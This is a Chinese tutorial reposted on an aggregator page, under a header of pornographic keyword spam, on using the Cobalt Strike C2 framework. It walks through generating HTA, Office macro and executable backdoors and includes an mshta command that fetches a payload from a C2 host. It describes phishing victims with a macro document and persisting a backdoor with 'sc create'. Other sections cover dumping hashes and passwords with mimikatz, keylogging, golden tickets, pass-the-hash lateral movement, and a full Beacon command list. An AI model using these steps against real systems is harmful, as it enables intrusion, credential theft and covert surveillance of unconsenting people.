日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CobaltStrike的使用

發布時間:2024/6/3 编程问答 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CobaltStrike的使用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

CobaltStrike

CobaltStrike的安裝

CobaltStrike的使用

CobaltStrike模塊

創建監聽器Listener

創建攻擊Attacks

HTML Application

MS Office Macro

Payload Generator

Windows Executable?&?Windows Executable(S) 

Web Drive-by?網站釣魚攻擊

視圖View

對被控主機的操作

抓取hash和dump明文密碼

提權(Elevate)

利用被控主機建立Socks4代理

進程列表(注入進程,鍵盤監控)

生成黃金票據注入當前會話(Golden Ticket)

憑證轉換(Make Token)

端口掃描

哈希傳遞攻擊或SSH遠程登錄

CobaltStrike常見命令


CobaltStrike

CobaltStrike是一款滲透測試神器,被業界人稱為CS神器。CobaltStrike分為客戶端與服務端,服務端是一個,客戶端可以有多個,可被團隊進行分布式協團操作。

CobaltStrike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,windows exe 木馬生成,windows dll 木馬生成,java 木馬生成,office 宏病毒生成,木馬捆綁。釣魚攻擊包括:站點克隆,目標信息獲取,java 執行,瀏覽器自動攻擊等等強大的功能!

CobaltStrike的安裝

我這里以Kali安裝為例:?

  • 上傳到Kali中,解壓:tar -xzvf jdk-8u191-linux-x64.tar.gz
  • 移動到opt目錄下: mv jdk1.8.0_191/ /opt/
  • 進入jdk目錄:cd /opt/jdk1.8.0_191
  • 執行 vim ~/.bashrc , 并添加下列內容
  • # install JAVA JDK
  • export JAVA_HOME=/opt/jdk1.8.0_191
  • export CLASSPATH=.:${JAVA_HOME}/lib
  • export PATH=${JAVA_HOME}/bin:$PATH
  • 保存退出
  • 執行: source ~/.bashrc
  • 執行:
  • update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_191/bin/java 1
  • update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_191/bin/javac 1
  • update-alternatives --set java /opt/jdk1.8.0_191/bin/java
  • update-alternatives --set javac /opt/jdk1.8.0_191/bin/javac
  • 查看結果:
  • update-alternatives --config java
  • update-alternatives --config javac
  • 安裝好了java之后,我們就去安裝CobalStrike了!

  • 上傳到Kali中,解壓:unzip cobaltstrike-linux.zip
  • 進入cobalstrike中:cd cobaltstrike-linux/
  • 啟動服務端:

    CobaltStrike目錄如下,講幾個主要文件的功能:

    • agscript:擴展應用的腳本
    • c2lint:用于檢查profile的錯誤和異常
    • teamserver:服務器端程序
    • cobaltstrike/cobaltstrike.jar:客戶端程序
    • logs:日志文件,包括Web日志、Beacon日志、截圖日志、下載日志、鍵盤記錄日志等
    • update/update.jar:更新文件,用于更新cobaltstrike
    • data:用于保存當前TeamServer的一些數據

  • 啟動服務端:?./teamserver? ?192.168.10.11? 123456 #192.168.10.11是kali的ip地址,123456是密碼
  • 后臺運行,關閉當前終端依然運行:nohup ./teamserver? ?192.168.10.11? 123456 &
  • 這里CobaltStrike默認監聽的是50050端口,如果我們想修改這個默認端口的話,可以打開teamserver文件,將其中的50050修改成任意一個端口號
  • 啟動客戶端:

    ./cobaltstrike

    這里host填kali的ip,密碼就是剛剛我們啟動的密碼。?

    啟動后的客戶端:

    我們也可以打開windows下的cobaltstrike客戶端,然后把ip設置為我們的啟動時候的ip即可。

    CobaltStrike的使用

    CobaltStrike模塊

    • New Connection:打開一個新連接窗口
    • Preferences:偏好設置,就是設置CobaltStrike外觀的
    • Visualization:將主機以不同的權限展示出來(主要以輸出結果的形式展示)
    • VPN Interfaces:設置VPN接口
    • Listeners:創建監聽器
    • Script Interfaces:查看和加載CNA腳本
    • Close:關閉

    創建監聽器Listener

    點擊左上方CobaltStrike選項——>在下拉框中選擇 Listeners ——>在下方彈出區域中單機add

  • name:為監聽器名字,可任意
  • payload:payload類型
  • HTTP Hosts: shell反彈的主機,也就是我們kali的ip
  • HTTP Hosts(Stager): Stager的馬請求下載payload的地址
  • HTTP Port(C2): C2監聽的端口
  • 這里Payload有9種選項,如下:

    內部的Listener

    • windows/beacon_dns/reverse_dns_txt
    • windows/beacon_dns/reverse_http
    • windows/beacon_http/reverse_http
    • windows/beacon_https/reverse_https?
    • windows/beacon_smb/bind_pipe

    外部的Listener

    • windows/foreign/reverse_dns_txt
    • windows/foreign/reverse_http
    • windows/foreign/reverse_https
    • windows/foreign/reverse_tcp

    Beacon為內置的Listener,即在目標主機執行相應的payload,獲取shell到CS上;其中包含DNS、HTTP、HTTPS、SMB。Beacon可以選擇通過DNS還是HTTP協議出口網絡,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支持多主機連接,部署好Beacon后提交一個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。目標網絡的防護團隊必須攔截所有的列表中的主機才可中斷和其網絡的通訊。通過種種方式獲取shell以后(比如直接運行生成的exe),就可以使用Beacon了。

    Foreign為外部結合的Listener,常用于MSF的結合,例如獲取meterpreter到MSF上。

    不同的beacon支持的系統位數也不同,如下:

    關于DNS Beacon的使用:CobaltStrike中DNS Beacon的使用

    創建攻擊Attacks

    點擊中間的攻擊——>生成后門

    這里Attacks有幾種,如下:

    • HTML Application       ?生成一個惡意HTML Application木馬,后綴格式為 .hta。通過HTML調用其他語言的應用組件進行攻擊,提供了可執行文件、PowerShell、VBA三種方法
    • MS Office Macro       ? ?生成office宏病毒文件;
    • Payload Generator      ? ?生成各種語言版本的payload,可以生成基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等的payload
    • Windows Executable      生成32位或64位的exe和基于服務的exe、DLL等后門程序
    • Windows Executable(S)    用于生成一個exe可執行文件,其中包含Beacon的完整payload,不需要階段性的請求。與Windows Executable模塊相比,該模塊額外提供了代理設置,以便在較為苛刻的環境中進行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內存

    HTML Application

    HTML Application用于生成hta類型的文件。HTA是HTML Application的縮寫(HTML應用程序),是軟件開發的新概念,直接將HTML保存成HTA的格式,就是一個獨立的應用軟件,與VB、C++等程序語言所設計的軟件界面沒什么差別。HTML Application有三種類型的生成方式,測試發現,只有powershell方式生成的hta文件才能正常執行上線,Executable和VBA方式生成的hta文件執行的時候提示當前頁面的腳本發生錯誤。

    基于PowerShell方式生成的hta文件,執行上線

    執行mshta上線成功:mshta http://xx.xx.xx.xx/download/file.ext

    基于Executable方式生成的hta文件,執行報錯如下

    基于VBA方式生成的hta文件,執行報錯如下

    MS Office Macro

    攻擊——>生成后門——>MS Office Macro


    然后選擇一個監聽器,點擊Generate

    然后點擊Copy Macro

    然后打開word編輯器,點擊視圖,然后點擊宏

    隨便輸入一個宏名,點擊創建

    先清除這里面的所有代碼,然后復制CobaltStrike生成的代碼,保存退出。

    將該文檔發給其他人,只要他是用word打開,并且開啟了宏,我們的CS就會收到彈回來的shell,進程名是rundll32.exe。

    word開啟禁用宏:文件——>選項——>信任中心——>信任中心設置

    Payload Generator

    這個模塊用于生成各種語言版本的shellcode,然后用其他語言進行編譯生成,可參考:MSF木馬的免殺(三)

    Windows Executable?&?Windows Executable(S) 

    這兩個模塊直接用于生成可執行的 exe 文件或 dll 文件。Windows Executable是生成Stager類型的馬,而Windows?Executable(S) 是生成Stageless類型的馬。那Stager和Stageless有啥區別呢?

    • Stager是分階段傳送Payload。分階段啥意思呢?就是我們生成的Stager馬其實是一個小程序,用于從服務器端下載我們真正的shellcode。分階段在很多時候是很有必要的,因為很多場景對于能加載進內存并成功漏洞利用后執行的數據大小存在嚴格限制。所以這種時候,我們就不得不利用分階段傳送了。如果不需要分階段的話,可以在C2的擴展文件里面把?host_stage 選項設置為 false。
    • 而Stageless是完整的木馬,后續不需要再向服務器端請求shellcode。所以使用這種方法生成的木馬會比Stager生成的木馬體積要大。但是這種木馬有助于避免反溯源,因為如果開啟了分階段傳送,任何人都能連接到你的C2服務器請求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后滲透和橫向移動絕大部分是使用的Stageless類型的木馬。

    Windowss Executable(S)相比于Windows?Executable,其中包含Beacon的完整payload,不需要階段性的請求,該模塊額外提供了代理設置,以便在較為苛刻的環境中進行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內存。

    注意,生成的Windows Service EXE生成的木馬,直接雙擊是不會返回session的。需要以創建服務的方式啟動,才會返回session。

  • #注意,等號(=)后面要有空格
  • sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start= auto DisplayName= autoRunBackDoor
  • #開啟某個系統服務
  • sc start autoRunBackDoor
  • #停止某個系統服務
  • sc stop autoRunBackDoor
  • # 刪除某個系統服務
  • sc delete service_name
  • Web Drive-by?網站釣魚攻擊

    點擊中間的Attacks——>Web Drive-by(網站釣魚攻擊)

    • Manage          ?對開啟的web服務進行管理;
    • Clone Site   ?      ? 克隆網站,可以記錄受害者提交的數據;
    • Host File          ? 提供一個文件下載,可以修改Mime信息;Host File 可以配合DNS欺騙實現掛馬效果使用
    • Scripted Web Delivery? ? ? ? ? ? ? 基于Web的攻擊測試腳本,自動生成可執行的payload?;
    • Signed Applet Attack   ? ? ? ?啟動一個Web服務以提供自簽名Java Applet的運行環境;
    • Smart Applet Attack     ? 自動檢測Java版本并l利用已知的exploits繞過security;
    • System Profiler      ? ?用來獲取一些系統信息,比如系統版本,Flash版本,瀏覽器版本等。
    • Spear Phish        ? ?用來郵件釣魚的模塊

    視圖View

    點擊中間的View

    • Applications    顯示受害者機器的應用信息;
    • Credentials    ?顯示受害者機器的憑證信息,通過hashdump和mimikatz獲取的密碼都保存在這里;
    • Downloads     查看從被控機器上下載的文件;
    • Event Log    ? ?可以看到事件日志,清楚的看到系統的事件,并且團隊可以在這里聊天;
    • Keystrokes    ?查看鍵盤記錄;
    • Proxy Pivots   ? 查看代理信息;
    • Screenshots   ? 查看屏幕截圖;
    • Script Console  ? ?在這里可以加載各種腳本以增強功能,腳本地址:https://github.com/rsmudge/cortana-scripts
    • Targets     ? ?查看目標;
    • Web Log      查看web日志。
    • Reporting    ??主要就是出報告用的

    對被控主機的操作

  • Interact 打開beacon
  • Access
  • dump hashes 獲取hash
  • Elevate 提權
  • Golden Ticket 生成黃金票據注入當前會話
  • MAke token 憑證轉換
  • Run Mimikatz 運行 Mimikatz
  • Spawn As 用其他用戶生成Cobalt Strike的beacon
  • Explore
  • Browser Pivot 劫持目標瀏覽器進程
  • Desktop(VNC) 桌面交互
  • File Browser 文件瀏覽器
  • Net View 命令Net View
  • Port scan 端口掃描
  • Process list 進程列表
  • Screenshot 截圖
  • Pivoting
  • SOCKS Server 代理服務
  • Listener 反向端口轉發
  • Deploy VPN 部署VPN
  • Spawn 新的通訊模式并生成會話
  • Session 會話管理,刪除,心跳時間,退出,備注
  • 抓取hash和dump明文密碼

    這兩項功能都需要管理員權限,如果權限不足,先提權

    • 抓取密碼哈希:右鍵被控主機——>Access——>Dump Hashes
    • 利用mimikatz抓取明文密碼:右鍵被控主機——>Access——>Run Mimikatz

    抓取密碼哈希,也可以直接輸入:hashdump

    使用mimikatz抓取明文密碼,也可以直接輸入:logonpasswords

    抓取完之后,點擊憑證信息,就會顯示我們抓取過的哈希或者明文。這里我們也可以手動添加或修改憑證信息

    提權(Elevate)

    當獲取的當前權限不夠時,可以使用提權功能

    右鍵被控主機——>Access——>Elevate

    親測Windows Server 2008R2 、Win7?及以下系統可用。Win10不可用??

    默認有三個提權payload可以使用,分別是MS14-058、uac-dll、uac-token-duplication 。

    我們選中MS14-058,點擊Launch

    之后就彈回來一個system權限的beacon

    我們也可以自己加入一些提權腳本進去。在Github上有一個提權工具包,使用這個提權工具包可以增加幾種提權方法:https://github.com/rsmudge/ElevateKit? ? 。我們下載好該提權工具包后

    如下,

    再打開我們的提權,可以看到多了幾種提權方式了

    利用被控主機建立Socks4代理

    當我們控制的主機是一臺位于公網和內網邊界的服務器 ,我們想利用該主機繼續對內網進行滲透,于是,我們可以利用CS建立socks4A代理

    右鍵被控主機——>Pivoting——>SOCKS Server

    這里是SOCKS代理運行的端口,任意輸入一個未占用的端口即可,默認CS會給出一個,我們直接點擊Launch即可。

    于是,我們在自己的主機上設置Socks4代理。代理ip是我們CS服務端的ip,端口即是 38588。

    如果我們想查看整個CS代理的設置,可以點擊View——>Proxy Pivots?

    然后我們可以直接在瀏覽器設置socks4代理

    進程列表(注入進程,鍵盤監控)

    右鍵被控主機——>Explore——>Process List

    即可列出進程列表

    選中該進程,Kill為殺死該進程,Refresh為刷新該進程,Inject?則是把beacon注入進程,Log Keystrokes為鍵盤記錄,Screenshot 為截圖,Stea Token為竊取運行指定程序的用戶令牌

    這里著重講一下注入進程和鍵盤記錄

    Inject注入進程

    選擇進程,點擊Inject,隨后選擇監聽器,點擊choose,即可發現CobaltStrike彈回了目標機的一個新會話,這個會話就是成功注入到某進程的beacon會話。該功能可以把你的beacon會話注入到另外一個程序之中,注入之后,除非那個正常進程被殺死了,否則我們就一直可以控制該主機了。

    inject? 進程PID? 進程位數? 監聽

    鍵盤記錄

    任意選擇一個進程,點擊Log Keystrokes,即可監聽該主機的鍵盤記錄

    keylogger? 進程PID? 進程位數

    查看鍵盤記錄結果:點擊鑰匙一樣的按鈕,就可以在底下看到鍵盤記錄的詳細了,會監聽所有的鍵盤記錄,而不只是選中的進程的鍵盤記錄

    鍵盤監聽記錄,也可以直接輸入?keylogger

    生成黃金票據注入當前會話(Golden Ticket)

    生成黃金票據的前提是我們已經獲得了krbtgt用戶的哈希:9ce0b40ed1caac7523a22d574b32deb2 。并且已經獲得一個以域用戶登錄的主機權限

    右鍵當前獲得的主機——>Access——>Golden Ticket

    在彈出來的對話框中輸入以下:

    • User:要偽造用戶名,這里我們一般填administrator
    • Domain:域名
    • Domain SID:域SID
    • Krbtgt Hash:krbtgt用戶的哈希

    然后點擊Build即可

    這是輸入框自動執行的mimikatz命令,如圖票據傳遞攻擊成功。我們查看域控的C盤,輸入如下命令

    shell dir\\win2008.xie.com\c$

    憑證轉換(Make Token)

    如果我們已經獲得了域內其他用戶的賬號密碼,就可以使用此模塊生成令牌,此時生成的令牌具有指定用戶的身份。

    右鍵當前獲得的主機——>Access——>Make Token

    輸入已經獲得了域用戶的賬號密碼和域名,點擊Build

    日志框內的記錄

    端口掃描

    右鍵——>目標——>端口掃描,然后填入要掃描的端口和網段。這里我們也可以直接執行命令:

  • portscan 192.168.10.1-192.168.10.10 22,445 arp 1024
  • portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024
  • portscan 192.168.10.1-192.168.10.10 22,445 none 1024
  • 掃完了之后,直接在控制臺就會有結果。

    我們點擊視圖——>目標,就會出現網段中存活的主機。(這是通過端口掃描探測到的結果顯示的,要想這里顯示,必須得先進行掃描端口)

    哈希傳遞攻擊或SSH遠程登錄

    進行了上一步的端口掃描后,我們這里視圖——>目標就會有當前網段的存活主機。

    對于Linux機器,如果我們知道賬號密碼的話,可以遠程SSH連接,并返回一個CS的session。

    需要一臺服務器作為中繼才可以控制Linux服務器,我們這里先獲取到一個windows服務器的權限,然后進入windows服務器的beacon進行執行命令

    可以兩種方式遠程連接:ssh?和? ssh-key

    可以圖形化操作,也可以命令行操作:ssh? 192.168.10.13:22? root? root

    對于Linux機器,也可以使用SSH公私鑰進行登錄,并返回一個CS的session。

    需要一臺服務器作為中繼才可以控制Linux服務器,我們這里先獲取到一個windows服務器的權限,然后進入windows服務器的beacon進行執行命令

    首先,將公鑰authorized_keys放到目標主機的/root/.ssh/目錄下

    然后我們本地機器放私鑰,遠程連接

    ssh-key 192.168.10.13:22 root e:\id_rsa

    對于Windows機器,如果我們獲取到賬號和密碼(明文或者哈希),都可以進行遠程連接

    遠程連接的前提是目標機器開放了445端口,然后CS會通過遠程連接開啟一個CS的seesion。可以用以下方式遠程連接:psexec 、psexec64、psexec_psh 、winrm?和?winrm64

  • rev2self
  • pth WIN2008\Administrator 329153f560eb329c0e1deea55e88a1e9
  • jump psexec WIN2003 test
  • 如果遇到目標機器不出網的情況,則我們需要在已經被控的主機上建立一個listen,以此作為中繼。

    然后攻擊的時候的監聽器選擇我們剛剛用被控主機建立的listen即可。

    但是這樣會導致的一個后果就是,只要第一個被控主機掉線,通過該主機中繼打下的內網其他主機也都會掉線。

    CobaltStrike常見命令

  • BeaconCommands
  • ===============
  • Command Description
  • ------- -----------
  • browserpivot 注入受害者瀏覽器進程
  • bypassuac 繞過UAC
  • cancel 取消正在進行的下載
  • cd 切換目錄
  • checkin 強制讓被控端回連一次
  • clear 清除beacon內部的任務隊列
  • connect Connect to a Beacon peerover TCP
  • covertvpn 部署Covert VPN客戶端
  • cp 復制文件
  • dcsync 從DC中提取密碼哈希
  • desktop 遠程VNC
  • dllinject 反射DLL注入進程
  • dllload 使用LoadLibrary將DLL加載到進程中
  • download 下載文件
  • downloads 列出正在進行的文件下載
  • drives 列出目標盤符
  • elevate 嘗試提權
  • execute 在目標上執行程序(無輸出)
  • execute-assembly 在目標上內存中執行本地.NET程序
  • exit 退出beacon
  • getprivs Enable system privileges oncurrent token
  • getsystem 嘗試獲取SYSTEM權限
  • getuid 獲取用戶ID
  • hashdump 轉儲密碼哈希值
  • help 幫助
  • inject 在特定進程中生成會話
  • jobkill 殺死一個后臺任務
  • jobs 列出后臺任務
  • kerberos_ccache_use 從ccache文件中導入票據應用于此會話
  • kerberos_ticket_purge 清除當前會話的票據
  • kerberos_ticket_use 從ticket文件中導入票據應用于此會話
  • keylogger 鍵盤記錄
  • kill 結束進程
  • link Connect to a Beacon peerover a named pipe
  • logonpasswords 使用mimikatz轉儲憑據和哈希值
  • ls 列出文件
  • make_token 創建令牌以傳遞憑據
  • mimikatz 運行mimikatz
  • mkdir 創建一個目錄
  • mode dns 使用DNS A作為通信通道(僅限DNS beacon)
  • mode dns-txt 使用DNS TXT作為通信通道(僅限D beacon)
  • mode dns6 使用DNS AAAA作為通信通道(僅限DNS beacon)
  • mode http 使用HTTP作為通信通道
  • mv 移動文件
  • net net命令
  • note 備注
  • portscan 進行端口掃描
  • powerpick 通過Unmanaged PowerShell執行命令
  • powershell 通過powershell.exe執行命令
  • powershell-import 導入powershell腳本
  • ppid Set parent PID forspawned post-ex jobs
  • ps 顯示進程列表
  • psexec Use a service to spawn asession on a host
  • psexec_psh Use PowerShell to spawn asession on a host
  • psinject 在特定進程中執行PowerShell命令
  • pth 使用Mimikatz進行傳遞哈希
  • pwd 當前目錄位置
  • reg Query the registry
  • rev2self 恢復原始令牌
  • rm 刪除文件或文件夾
  • rportfwd 端口轉發
  • run 在目標上執行程序(返回輸出)
  • runas 以另一個用戶權限執行程序
  • runasadmin 在高權限下執行程序
  • runu Execute a program underanother PID
  • screenshot 屏幕截圖
  • setenv 設置環境變量
  • shell cmd執行命令
  • shinject 將shellcode注入進程
  • shspawn 生成進程并將shellcode注入其中
  • sleep 設置睡眠延遲時間
  • socks 啟動SOCKS4代理
  • socks stop 停止SOCKS4
  • spawn Spawn a session
  • spawnas Spawn a session as anotheruser
  • spawnto Set executable tospawn processes into
  • spawnu Spawn a session underanother PID
  • ssh 使用ssh連接遠程主機
  • ssh-key 使用密鑰連接遠程主機
  • steal_token 從進程中竊取令牌
  • timestomp 將一個文件時間戳應用到另一個文件
  • unlink Disconnect from parentBeacon
  • upload 上傳文件
  • wdigest 使用mimikatz轉儲明文憑據
  • winrm 使用WinRM在主機上生成會話
  • wmi 使用WMI在主機上生成會話
  • argue 進程參數欺騙
  • ?

    ?

    總結

    以上是生活随笔為你收集整理的CobaltStrike的使用的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。